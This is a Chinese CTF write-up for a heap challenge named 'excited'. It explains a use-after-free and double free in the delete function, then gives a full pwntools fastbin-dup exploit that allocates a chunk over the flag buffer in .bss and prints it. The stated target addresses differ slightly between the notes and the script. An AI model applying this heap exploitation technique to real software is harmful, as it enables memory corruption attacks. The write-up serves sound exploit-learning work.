心好累,堆处入手,看明白了,可是总是复盘实现不了。。。不过学长那边可以,是我机子的问题??
题目链接:https://pan.baidu.com/s/1Tv5Y4ieNVEasZ8oAYYn2Lw 提取码:5td6
文件查看一下
拿到程序发现运行不了,查看文件属性,发现没有执行权限,加一个执行权限
执行不了
因为程序要打开/flag(根目录下flag)文件
没有就自动退出了,所以创建
程序主要有三个功能,增加、删除、查看
delete函数中,指针使用完没有置0,所以存在uaf和double free漏洞
程序一开始运行时候,flag就已经读入程序,在s中,位置在bss段
而且,flag这里刚好为我们预留了一个大小为0x60的块,所以我们应该利用double free申请到这块内存,然后show()输出即可
总结思路(error404的ppt):
1.首先一次free掉chunk1、chunk2、chunk1,每个chunk的大小均为0x50
2.写入chunk1的fd指针为0x6020A8(flag的位置)
3.将0x6020A8处作为chunk的data域分配出来(因为程序unuse的fd指针在inuse的时候就是data域,是复用内存了)
4.利用show函数打印出flag
//exp
#coding:utf-8
from pwn import *
import sys
p = process('./excited')
context.arch='amd64'
libc=ELF("./excited").libc
def new(size1,content1,size2,content2):
p.recvuntil('> Now please tell me what you want to do :')
p.sendline('1')
p.recvuntil('length : ')
p.sendline(str(size1))
p.recvuntil('> ba : ')
p.send(content1)
p.recvuntil('length : ')
p.sendline(str(size2))
p.recvuntil('> na : ')
p.send(content2)
def delete(idx):
p.recvuntil(' Now please tell me what you want to do :')
p.sendline('3')
p.recvuntil(' ID : ')
p.sendline(str(idx))
def show(idx):
p.recvuntil('ow please tell me what you want to do :')
p.sendline('4')
p.recvuntil('ID : ')
p.sendline(str(idx))
new(0x50,'Chunk_1',0x50,'Chunk_2')#0
new(0x50,'Chunk_3',0x50,'Chunk_4')#1
delete(0)
delete(1)
delete(0)
new(0x50,p64(0x602098),0x50,'Chunk_2')#2
new(0x50,'Chunk_3',0x50,'Chunk_4')#3
new(0x50,'f',0x60,'2')#4
show(4)
p.interactive()
p.close()
参考博客:
(1)https://www.anquanke.com/post/id/199540#h2-16
(3)https://xz.aliyun.com/t/7281
再次做这题,,,easy,TAT,以前不懂环境哇,,,
做这题,,,
1.思路,只要将块申请到0x6020a0的地方,打印即可
2.free不干净,存在double free,故可以free(0) -> free(1) -> free(0),然后重新申请回来,则修改chunk2的时候,再申请chunk4就是想要的地址。